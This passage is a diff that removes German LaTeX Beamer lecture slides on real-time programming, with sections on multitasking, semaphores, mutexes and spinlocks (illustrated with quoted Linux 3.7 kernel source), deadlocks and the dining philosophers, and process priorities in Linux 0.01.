-      "`Es gibt keinen festen Termin. Möglichst schnell halt."'\\[2pt]
-      \textarrow\ \newterm{keine Echtzeit}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-%    \begin{picture}(6,2)
-%      \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-%      \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-%      \put(2.75,0.875){\vector(1,3){0.25}}
-%      \put(2.75,0.875){\line(2,1){0.5}}
-%      \put(3.25,1.125){\vector(-1,-3){0.25}}
-%    \end{picture}
-    \begin{pdfpic}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    \end{pdfpic}
-  \end{center}
-
-  Beispiel:
-  \begin{itemize}
-    \item
-      Eine Motorsteuerung benötigt alle \SI{2000}{\mics} einen Steuerimpuls,\\
-      dessen Berechnung maximal \SI{10}{\mics} dauert.
-    \item
-      Entweder: Der Steuer-Computer macht noch andere Dinge.\\
-      \textarrow\ Risiko der Zeitüberschreitung
-    \item
-      Oder: Der Steuer-Computer macht nichts anderes.\\
-      \textarrow\ Verschwendung von Rechenzeit\\
-      {\color{red}\textarrow\ Na und?}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \showsubsection
-
-  Das Problem:
-  \vspace{-\bigskipamount}
-  \begin{center}
-    \begin{pdfpic}
-      \begin{pspicture}(6,2)
-        \put(3,2){\makebox(0,0)[t]{Harte Echtzeitanforderungen}}
-        \put(3,0){\makebox(0,0)[b]{Ressourcen optimal nutzen}}
-        \psline[arrows=<->](3,0.4)(3.2,1.125)(2.8,0.875)(3,1.6)
-      \end{pspicture}
-    \end{pdfpic}
-  \end{center}
-
-  \medskip
-
-  {\large\color{structure}\textbf{"`Verschwendung von Rechenzeit -- na und?"'}}
-
-  \medskip
-
-  Große Stückzahlen
-  \begin{itemize}
-    \item
-      138\,000 Toyota Prius V von Mai 2011 bis April 2012
-    \item
-      Software viel im Einsatz: Server, Rechenzentrum
-  \end{itemize}
-
-  \medskip
-
-  Wertvolle Ressourcen
-  \begin{itemize}
-    \item
-      Fähigkeiten einer Raumsonde optimieren
-      % (Marsumlaufbahn: ab ca.~127\,000 Euro pro kg)
-      % 70000000 / 550000 = 127._27
-      % http://www.bernd-leitenberger.de/blog/2009/09/29/reduktion-der-kosten-von-planetenmissionen/
-      % \only<.(1)>{\\[\bigskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.5cm]{curiosity.jpg}}\vspace*{-1cm}}
-    \item
-      Implantat: Platz- und Stromverbrauch minimieren
-      % \only<.(1)>{\\[\smallskipamount]\strut\hfill\makebox(0,0)[r]{\includegraphics[height=3.4cm]{herzschrittmacher.jpg}}\vspace*{-1cm}}
-  \end{itemize}
-
-  \bigskip
-
-  \textarrow\ {\large\color{structure}\textbf{Echtzeitprogrammierung}}\\[2pt]
-  \strut \phantom{\textarrow} Echtzeitanforderungen erfüllen, ohne Ressourcen zu verschwenden
-
-\end{frame}
-
-\subsection{Multitasking}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{minipage}[t]{6cm}
-    Qualitätssicherung beim Multitasking
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\
-        vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{Mutexe}
-        (= spezielle \newterm{Semaphore\/})\\
-        \strut
-      \item
-        Verschiedene Methoden\\
-        der Priorisierung\\
-        \strut
-      \item
-        Umgehung der Probleme durch
-        speziell geschriebene Software\\
-        (MultiWii, RP6, \dots)
-    \end{itemize}
-  \end{minipage}
-  \hfill
-  \begin{minipage}[t]{6.2cm}
-    Qualitätssicherung für Netzwerke:
-    \begin{itemize}
-      \item
-        Verschiedene Anforderungen:
-        \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz}
-      \item
-        Ressourcen reservieren:\\
-        \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)}
-      \item
-        Klassifizierung und Priorisierung:
-        \newterm{DiffServ} mit Type-of-Service-Bits (IPv4)
-        bzw.\ Traffic-Class-Bits (IPv6) im IP-Header
-      \item
-        Eigenes Protokoll (Telefondienste):\\
-        \newterm{Asynchronous Transfer Mode (ATM)}
-    \end{itemize}
-  \end{minipage}
-
-\end{frame}
-
-% Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-% evtl. Aufgabe: Warte-Problem
-
-% Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-% das o.a. Zuteilungsproblem?
-
-% Danach: Semaphoren, Mutexe, Spinlocks
-% Priorisierungsmethoden und -probleme
-
-\subsectionnonumber{Beispiele für Multitasking}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  Quadrocopter-Steuerung \emph{MultiWii}
-  \begin{itemize}
-    \item
-      Konfiguration durch bedingte Compilierung (Präprozessor)
-    \item
-      In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\
-      ansonsten zyklisch einer von bis zu 5 weiteren Tasks.
-  \end{itemize}
-
-  RP6-Steuerung
-
-  \begin{itemize}
-    \item
-      \dots
-  \end{itemize}
-
-%  \begin{itemize}
-%    \item
-%      Konfiguration durch bedingte Compilierung (Präprozessor)
-%    \item
-%      Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\
-%      Die Interrupt-Handler zählen Variable hoch.
-%    \item
-%      10000mal pro Sekunde: Timer-Interrupt\\
-%      verschiedene Tasks werden unterschiedlich häufig aufgerufen
-%    \item
-%      Nebenbei: 1 Benutzerprogramm
-%  \end{itemize}
-%
-%  Linux 0.01
-%  \begin{itemize}
-%    \item
-%      Timer-Interrupt:\only<1->{ Zähler des aktuellen Tasks wird dekrementiert;}\\
-%      Task mit höchstem Zähler bekommt Rechenzeit.
-%    \item
-%      Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\
-%      bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen.
-%    \item<1->
-%      \emph{keine\/} harte Echtzeit
-%      % Aufgabe: Wo wird der Zähler heruntergezählt?
-%  \end{itemize}
-
-\end{frame}
-
-\iffalse
-
-\subsectionnonumber{Zombies}
-
-\begin{frame}
-
-  \showsubsectionnonumber
-
-  \pause
-  Wikipedia:
-  \begin{quote}
-    Als Zombie wird die fiktive Figur eines zum Leben erweckten
-    Toten (Untoter) oder eines seiner Seele beraubten, willenlosen
-    Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe
-    aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet
-    dort ursprünglich einen Totengeist.
-  \end{quote}
-
-  \bigskip
-
-  \pause
-  Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\
-  bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\
-  hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\
-  wird aber noch in der Prozeßliste geführt ("`untot"').
-  \begin{itemize}
-    \pause
-    \item
-      Warum?
-      \textarrow\
-      Ein anderer Prozeß (Elternprozeß) wartet noch auf den
-      Rückgabewert des beendeten Prozesses.
-    \pause
-    \item
-      Schadet das?
-      \textarrow\
-      Nein.
-    \pause
-    \item
-      Aber?
-      \textarrow\
-      Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen
-      Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'.
-    \pause
-    \item
-      Beispiel:
-      Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\
-      \textarrow\
-      Tochterprozesse werden zu Zombies.
-  \end{itemize}
-
-\end{frame}
-
-\subsection{Ressourcen}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-      \begin{onlyenv}<1>
-        \par\medskip
-        griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\
-        "`Eisenbahnsignal"'
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-      \begin{onlyenv}<2>
-        \par\medskip
-        englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\
-        spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\
-        % allgemein: auch jemand anderer dürfte freigeben
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-      \begin{onlyenv}<3>
-        \par\medskip
-        englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\
-        \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount]
-        Hardware-Unterstützung:
-        Prüfen, ob Variable bestimmten Wert hat;\\
-        wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten
-        \vspace*{-3cm}
-      \end{onlyenv}
-    \pause
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-      \vspace*{-1cm}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren: Beispiele
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      \file{linux-3.7-rc1/kernel/semaphor.c}\\
-      \file{linux-3.7-rc1/drivers/usb/core/file.c}
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      \file{linux-3.7-rc1/kernel/mutex.c}\\
-      \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}
-    \medskip
-    \item
-      \newterm{Spinlock}\\
-      \file{linux-3.7-rc1/kernel/spinlock.c}\\
-      \file{linux-3.7-rc1/kernel/semaphor.c},
-      \file{linux-3.7-rc1/kernel/mutex.c}
-  \end{itemize}
-
-  % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren
-
-  % evtl. Aufgabe: Warte-Problem
-
-  % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme
-  % das o.a. Zuteilungsproblem?
-
-  % Danach: Semaphoren, Mutexe, Spinlocks
-  % Priorisierungsmethoden und -probleme
-
-  % Festplatten: completely fair queueing
-  % cat /sys/block/sdc/queue/scheduler
-  % "noop" hat sich für SVG gelohnt
-
-  % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos
-
-\end{frame}
-
-\begin{frame}[fragile]
-
-  \textbf{Beispiel:}
-  \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    struct usb_serial *usb_serial_get_by_index (unsigned index)
-    {
-      struct usb_serial *serial;
-      mutex_lock (&table_lock);
-      serial = serial_table[index];
-      if (serial)
-        {
-          mutex_lock (&serial->disc_mutex);
-          if (serial->disconnected)
-            {
-              mutex_unlock (&serial->disc_mutex);
-              serial = NULL;
-            }
-          else
-            kref_get (&serial->kref);
-        }
-      mutex_unlock (&table_lock);
-      return serial;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(5.1,6.85){\vector(-1,0){0.5}}
-    \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}}
-    \put(5.4,1.35){\vector(-1,0){0.5}}
-    \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{48cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten
-
-  Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62
-
-  \medskip
-
-  \begin{lstlisting}
-    void __sched mutex_lock (struct mutex *lock)
-    {
-      might_sleep ();
-      __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath);
-      mutex_set_owner (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.6,1.35){\line(-1,0){1}}
-    \put(11.6,1.35){\line(0,-1){2.45}}
-    \put(11.6,-1.10){\vector(-1,0){2.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24
-
-  Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert)
-
-  \medskip
-
-  Assembler:
-  \begin{lstlisting}[language={[x86masm]Assembler}]
-        lock dec (lock->count)
-        jns 1
-        call __mutex_lock_slowpath
-    1:
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9,0.95){\line(-1,0){3.5}}
-    \put(9,0.95){\line(0,-1){2.5}}
-    \put(9.0,-1.55){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398
-
-  \medskip
-
-  \begin{lstlisting}
-    static __used noinline void __sched
-      __mutex_lock_slowpath (atomic_t *lock_count)
-    {
-      struct mutex *lock = container_of (lock_count, struct mutex, count);
-      __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0,
-                               NULL, _RET_IP_);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.0,1.40){\line(-1,0){1.0}}
-    \put(11.0,1.40){\vector(0,-1){2.5}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int __sched
-    __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass,
-                             struct lockdep_map *nest_lock, unsigned long ip)
-    {
-      struct task_struct *task = current;
-      struct mutex_waiter waiter;
-      unsigned long flags;
-
-      preempt_disable ();
-      mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip);
-
-      /* ... */
-
-      spin_lock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_lock_common (lock, &waiter);
-      debug_mutex_add_waiter (lock, &waiter, task_thread_info (task));
-
-      /* add waiting tasks to the end of the waitqueue (FIFO): */
-      list_add_tail (&waiter.list, &lock->wait_list);
-      waiter.task = task;
-
-      if (atomic_xchg (&lock->count, -1) == 1)
-        goto done;
-
-      lock_contended (&lock->dep_map, ip);
-
-      for (;;)
-        {
-          /*
-           * Lets try to take the lock again - this is needed even if
-           * we get here for the first time (shortly after failing to
-           * acquire the lock), to make sure that we get a wakeup once
-           * it's unlocked. Later on, if we sleep, this is the
-           * operation that gives us the lock. We xchg it to -1, so
-           * that when we release the lock, we properly wake up the
-           * other waiters:
-           */
-          if (atomic_xchg (&lock->count, -1) == 1)
-            break;
-
-          /*
-           * got a signal? (This code gets eliminated in the
-           * TASK_UNINTERRUPTIBLE case.)
-           */
-          if (unlikely (signal_pending_state (state, task)))
-            {
-              mutex_remove_waiter (lock, &waiter, task_thread_info (task));
-              mutex_release (&lock->dep_map, 1, ip);
-              spin_unlock_mutex (&lock->wait_lock, flags);
-
-              debug_mutex_free_waiter (&waiter);
-              preempt_enable ();
-              return -EINTR;
-            }
-          __set_task_state (task, state);
-
-          /* didn't get the lock, go to sleep: */
-          spin_unlock_mutex (&lock->wait_lock, flags);
-          schedule_preempt_disabled ();
-          spin_lock_mutex (&lock->wait_lock, flags);
-        }
-
-    done:
-      lock_acquired (&lock->dep_map, ip);
-      /* got the lock - rejoice! */
-      mutex_remove_waiter (lock, &waiter, current_thread_info ());
-      mutex_set_owner (lock);
-
-      /* set it to 0 if there are no waiters left: */
-      if (likely (list_empty (&lock->wait_list)))
-        atomic_set (&lock->count, 0);
-
-      spin_unlock_mutex (&lock->wait_lock, flags);
-
-      debug_mutex_free_waiter (&waiter);
-      preempt_enable ();
-
-      return 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(7.9,28.3){\vector(-1,0){0.5}}
-    \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}}
-    \put(7.4,2.3){\vector(-1,1){0.4}}
-    \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{50.5cm}
-
-\begin{frame}[fragile]
-
-  \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting}
-
-  Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12
-
-  \medskip
-
-  \begin{lstlisting}
-    #define spin_lock_mutex(lock, flags) \
-      do \
-        { \
-          spin_lock (lock); \
-          (void) (flags); \
-        } \
-      while (0)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(8.5,1.75){\line(-1,0){4.5}}
-    \put(8.5,1.75){\line(0,-1){2.9}}
-    \put(8.5,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline void spin_lock (spinlock_t *lock)
-    {
-      raw_spin_lock (&lock->rlock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.3,0.95){\line(-1,0){4.0}}
-    \put(9.3,0.95){\line(0,-1){2.1}}
-    \put(9.3,-1.15){\vector(-1,0){1.0}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170
-
-  \medskip
-
-  \begin{lstlisting}
-    #define raw_spin_lock(lock)  _raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.0,0.55){\line(-1,0){0.5}}
-    \put(10.0,0.55){\line(0,-1){1.7}}
-    \put(10.0,-1.15){\vector(-1,0){1.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47
-
-  \medskip
-
-  \begin{lstlisting}
-    #define _raw_spin_lock(lock)  __raw_spin_lock (lock)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,0.55){\line(-1,0){0.5}}
-    \put(10.7,0.55){\line(0,-1){1.75}}
-    \put(10.7,-1.2){\vector(-1,0){2.3}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert):
-
-  \medskip
-
-  \begin{lstlisting}
-    void __lockfunc __raw_spin_lock (spinlock_t *lock)
-    {
-      for (;;)
-        {
-          preempt_disable ();
-          if (likely (do_raw_spin_trylock (lock)))
-            break;
-          preempt_enable ();
-
-          if (!(lock)->break_lock)
-            (lock)->break_lock = 1;
-          while (!raw_spin_can_lock (lock) && (lock)->break_lock)
-            arch_spin_relax (&lock->raw_lock);
-        }
-      (lock)->break_lock = 0;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(10.7,4.75){\line(-1,0){3.5}}
-    \put(10.7,4.75){\line(0,-1){5.95}}
-    \put(10.7,-1.2){\vector(-1,0){1.1}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150:
-
-  \medskip
-
-  \begin{lstlisting}
-    static inline int do_raw_spin_trylock (raw_spinlock_t *lock)
-    {
-      return arch_spin_trylock (&(lock)->raw_lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(11.5,0.95){\line(-1,0){3.5}}
-    \put(11.5,0.95){\line(0,-1){2.1}}
-    \put(11.5,-1.15){\vector(-1,0){0.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int arch_spin_trylock (arch_spinlock_t *lock)
-    {
-      return __ticket_spin_trylock (lock);
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.5,0.95){\line(-1,0){3.5}}
-    \put(9.5,0.95){\vector(0,-1){1.7}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65:
-
-  \medskip
-
-  \begin{lstlisting}
-    static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock)
-    {
-      arch_spinlock_t old, new;
-
-      old.tickets = ACCESS_ONCE (lock->tickets);
-      if (old.tickets.head != old.tickets.tail)
-        return 0;
-
-      new.head_tail = old.head_tail + (1 << TICKET_SHIFT);
-
-      /* cmpxchg is a full barrier, so nothing can move before it */
-      return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail;
-    }
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,0.3){\line(0,1){0.4}}
-    \put(9.0,0.3){\line(-1,0){6.8}}
-    \put(9.0,0.3){\line(0,-1){1.45}}
-    \put(9.0,-1.15){\vector(-1,0){3.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define cmpxchg(ptr, old, new) \
-      __cmpxchg (ptr, old, new, sizeof (*(ptr)))
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.0,0.5){\line(-1,0){1.8}}
-    \put(9.0,0.5){\line(0,-1){1.65}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131:
-
-  \medskip
-
-  \begin{lstlisting}
-    #define __cmpxchg(ptr, old, new, size) \
-      __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX)
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(2.2,-0.1){\line(0,1){0.3}}
-    \put(9.0,-0.1){\line(-1,0){6.8}}
-    \put(9.0,-0.1){\line(0,-1){1.05}}
-    \put(9.0,-1.15){\vector(-1,0){2.2}}
-  \end{picture}
-
-  \bigskip
-
-  Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110:
-
-  \medskip
-
-  \begin{lstlisting}
-    asm volatile (lock "cmpxchgl %2,%1" \
-                  : "=a" (__ret), "+m" (*__ptr) \
-                  : "r" (__new), "0" (__old) \
-                  : "memory");
-  \end{lstlisting}
-  \begin{picture}(0,0)
-    \color{red}
-    \put(9.8,1.8){\vector(-1,0){0.6}}
-    \put(9.8,1.2){\line(0,1){0.6}}
-    \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}}
-  \end{picture}
-
-\end{frame}
-
-\setlength{\pdfpageheight}{\normalpdfpageheight}
-
-%\sectionnonumber{Literaturempfehlung}
-%\subsectionnonumber{Automotive Embedded Systeme}
-%
-%\begin{frame}[c]
-%
-%  \showsectionnonumber
-%
-%  Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\
-%  Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern:
-%
-%  \medskip
-%
-%  \showsubsectionnonumber
-%
-%  \vspace{-\medskipamount}
-%
-%  Springer-Verlag, Berlin, Heidelberg 2005
-%
-%  \bigskip
-%
-%  Lizenz: proprietär
-%
-%  \medskip
-%
-%  (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10})
-%
-%\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Ressourcen reservieren
-  \begin{itemize}
-    \item
-      \newterm{Semaphor}\\
-      gemeinsame Variable mehrerer Prozesse\\
-      zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount]
-      Ressource belegt \textarrow\ Kontextwechsel
-    \medskip
-    \item
-      \newterm{Mutex}\\
-      Mechanismus, damit immer nur ein Prozeß gleichzeitig\\
-      auf eine Ressource zugreifen kann
-    \medskip
-    \item
-      \newterm{Spinlock} (\emph{busy waiting\/})\\
-      leichtgewichtige Alternative zu Kontextwechsel
-    \medskip
-    \item
-      \newterm{Kritischer Abschnitt -- critical section}\\
-      Programmabschnitt zwischen Reservierung\\
-      und Freigabe einer Ressource\\
-      \textarrow\ sollte immer so kurz wie möglich sein
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  \begin{picture}(0,0)
-    \only<2-3>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}}
-  \end{picture}%
-  \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen
-  \begin{itemize}
-    \item
-      \newterm{Deadlock\/}: Prozeß wartet
-    \item
-      \newterm{Livelock\/}: Prozeß macht andere Dinge\\
-      (z.\,B.\ \emph{busy waiting\/})
-  \end{itemize}
-
-  \pause
-  \bigskip
-
-  Beispiel: Philosophenproblem
-
-  \only<2-3>{%
-    \begin{itemize}
-      \item
-        5 Philosophen, 5 Gabeln
-      \item
-        2 Gabeln zum Essen notwendig
-      \item
-        Wer essen will, nimmt eine Gabel\\
-        und wartet notfalls auf die zweite.
-      \item
-        Keiner legt eine einzelne Gabel\\
-        wieder zurück.
-    \end{itemize}
-    Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount]
-    \pause
-    \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\
-    \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm]
-  }
-  \only<4->{%
-    \bigskip
-
-    Bedingungen für Verklemmungen:
-
-    \begin{minipage}[t]{4.5cm}
-      \begin{itemize}
-        \item
-          Exklusivität
-        \item
-          \newterm{hold and wait}
-        \item
-          Entzug nicht möglich
-        \item
-          zirkuläre Blockade
-      \end{itemize}
-    \end{minipage}\pause[5]
-    \begin{minipage}[t]{7.5cm}
-      \begin{itemize}
-        \arrowitem
-          Spooling
-        \arrowitem
-          simultane Zuteilung
-        \arrowitem
-          Prozesse suspendieren, beenden, \newterm{Rollback}
-        \arrowitem
-          Reihenfolge abhängig von Ressourcen
-      \end{itemize}
-    \end{minipage}
-  }
-
-\end{frame}
-
-\subsection{Prioritäten}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Linux 0.01
-  \begin{itemize}
-    \item
-      Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\
-      Prozeß mit höchstem Zähler bekommt Rechenzeit.
-    \item
-      Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\
-      bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen.
-    \item
-      \emph{keine\/} harte Echtzeit
-    \arrowitem
-      \newterm{dynamische Prioritätenvergabe\/}:\\
-      Rechenzeit hängt vom Verhalten des Prozesses ab
-  \end{itemize}
-
-  \medskip
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-    \arrowitem
-      \newterm{statische Prioritätenvergabe}
-  \end{itemize}
-
-\end{frame}
-
-\begin{frame}
-
-  \showsection
-  \showsubsection
-
-  Echtzeitbetriebssysteme
-  \begin{itemize}
-    \item
-      Prozesse können einen festen Anteil an Rechenzeit bekommen.
-    \item
-      Bei Ereignissen können Prozesse hoher Priorität\\
-      Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt.
-  \end{itemize}
-
-  \vspace{0cm plus 1filll}
-
-  \begin{center}
-    \begin{picture}(11,4)(-1,0)
-      \small
-
-      \put(-0.1,0.5){\vector(1,0){10.1}}
-      \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}}
-      \put(0,0.4){\vector(0,1){3.6}}
-      \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}}
-
-      \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}}
-      \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}}
-      \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}
-      \put(0,3){\line(1,0){10}}
-
-      \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}}
-      \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}}
-      \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}}
-      \alt<1>{%
-        \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}}
-      }{%
-        \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}}
-      }
